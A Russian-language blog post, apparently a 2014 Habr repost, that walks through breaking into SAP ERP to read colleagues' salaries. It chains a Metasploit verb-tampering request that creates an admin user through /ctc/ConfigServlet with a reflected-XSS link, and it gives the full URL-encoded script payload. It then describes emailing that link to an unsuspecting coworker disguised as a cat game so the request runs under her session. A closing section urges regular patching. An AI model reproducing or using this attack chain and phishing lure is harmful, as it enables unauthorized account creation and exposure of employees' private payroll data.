...

понедельник, 13 октября 2014 г.

Взлом SAP. Смотрим чужую зарплату


Если ты работаешь в компании списка Forbes 500, высока вероятность того, что твою зарплату считает HR модуль SAP ERP. Я покажу как, используя ошибки SAP, посмотреть чужую зарплату в системе SAP ERP.


Disclaimer: Это наш первый официальный пост на Хабре (надеемся, что и не последний), и мы хотели бы начать с освещения одной из самый важных тем. Информация в этом посте исключительно для ознакомления и демонстрации критичности вопросов безопасности.



Итак, только работники HR имеют доступ к данным расчета зарплаты. Даже если у тебя есть доступ SAP GUI, и ты попытаешься зайти в транзакцию просмотра данных по з/п, то с вероятностью 99% тебе будет отказано:



Доступа нет, а зарплату посмотреть хочется. Идем смотреть эксплоиты для SAP. Какой у нас есть инструментарий с эксплоитами? Правильно, Metasploit. Гуглим. Ага, на github есть целая папочка metasploit-framework/modules/auxiliary/scanner/sap/. Три десятка эксплоитов, однако:



Вот, например, “Обход аутентификации с помощью Verb Tampering” (modules/auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt.rb), про него уже писали на Хабре.


Коротко суть уязвимости в том, что один из админских сервисов Java-сервера, который входит в пакет поставки SAP NetWeaver, доступен запросом типа HEAD (в противовес запрещенным запросам GET и POST). Если открыть http://ift.tt/1swp54Q мы видим, что проблема заключается в обращении к сервлету:


/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USERNAME'] + ',PASSWORD=' + datastore['PASSWORD']


Конечно, мы можем поставить Metasploit и запустить скрипт с локального компьютера. Но:


1. Нет доступа в локальную сеть, а сервис скорее всего закрыт на доступ из-вне

2. Скрипт будет запущен от твоего имени


Поэтому давай, а) составим скрипт сами на основе кода sap_ctc_verb_tampering_user_mgmt.rb б) дадим запустить этот скрипт кому-нибудь из коллег, используя одну из ошибок XSS


Про XSS на Хабре писали уже много раз (читай раз http://ift.tt/1CcHXGY два http://ift.tt/1an9s2u)


Идем гуглить securityfocus. По запросу «sap xss exploit site:http://ift.tt/1CcHXH0 выпадает 359 результатов



По http://ift.tt/1swp54T видим запрос, который исполнит Javascript на компьютере пользователя:


http://ift.tt/1CcHXH4


Вместо дамми мы вставим HEAD-запрос к /ctc/ConfigServlet


А для того, чтобы результатов запроса никто не увидел, покажем пользователю картинку, обязательно с котиками:



Итоговая ссылка после кодировки в URL будет выглядеть так:


http://ift.tt/1swp54X %3Cscript%3Evar%20http%20%3D%20new%20XMLHttpRequest()%3Bhttp.open(%27HEAD%27%2C%20%22http%3A%2F%2Fxxxxx%2Fctc%2FConfigServlet%3Fparam%3Dcom.sap.ctc.util.UserConfig%3BCREATEUSER%3BUSERNAME%3Dtest444%2CPASSWORD%3DPassword01%22)%3Bhttp.send()%3Bwindow.location.href%20%3D%20%27http%3A%2F%2Fru.fishki.net%2Fpicsw%2F042007%2F02%2Fflash%2Fcat.swf%27%3B%3C%2Fscript%3E%20


Итак, составляем письмо коллегам:



Нина Ивановна играет в Flash-игру:



А мы — получаем пользователя test444, который (если активировано центральное ведение пользователей) создастся не только на сервере NetWeaver Application Server Java, но и в бэкенде – NetWeaver Application Server ABAP.



Логинимся, проверям. Транзакция HR-модуля работает!



Выводы: мы использовали две уязвимости 2011 и 2013 года. При регулярном обновлении системы патчами такой сценарий будет невозможен. К сожалению, многие базисники забывают регулярно заглядывать в http://ift.tt/1uzMDs1 и проверять соответствие последним патчам, или делают это нерегулярно. С 2010 года компания SAP организует «Security Patch Day» каждый второй вторник каждого месяца, когда происходит массовый выпуск патчей по безопасности. Компания SAP просит партнеров не публиковать и не разглашать информацию о найденных уязвимостях как минимум 3 месяца с момента выпуска патча. Однако наши исследования показывают, что многие (в том числе большие) клиенты далеко не всегда устанавливают обновления в срок до 3 месяцев.


This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Комментариев нет:

Отправить комментарий